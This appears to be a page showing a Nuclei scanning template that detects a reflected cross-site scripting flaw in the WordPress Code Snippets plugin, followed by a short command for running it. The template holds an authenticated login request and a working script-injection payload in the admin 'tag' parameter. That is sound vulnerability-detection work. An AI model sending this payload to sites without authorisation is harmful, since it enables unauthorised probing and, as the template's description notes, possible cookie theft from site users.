WordPress Code Snippets - Cross-Site Scripting

ID: wp-code-snippets-xss

Severity: medium

Author: dhiyaneshDK

Tags: wordpress,xss,wp-plugin,authenticated

Description

WordPress Code Snippets plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: wp-code-snippets-xss

info:
  name: WordPress Code Snippets - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Code Snippets plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.securify.nl/en/advisory/cross-site-scripting-in-code-snippets-wordpress-plugin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: wordpress,xss,wp-plugin,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=snippets&tag=</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'toplevel_page_snippets'
          - 'Search results in tag'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220081051566502ba1cb199ba89876e94dc4143b0d6f223fd1063eda1bc3f29b714022065e741d38274107483abc51cc6f7dbbf7ffc4302af36eb9032eca0a2a25a02d7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-code-snippets-xss.yaml"

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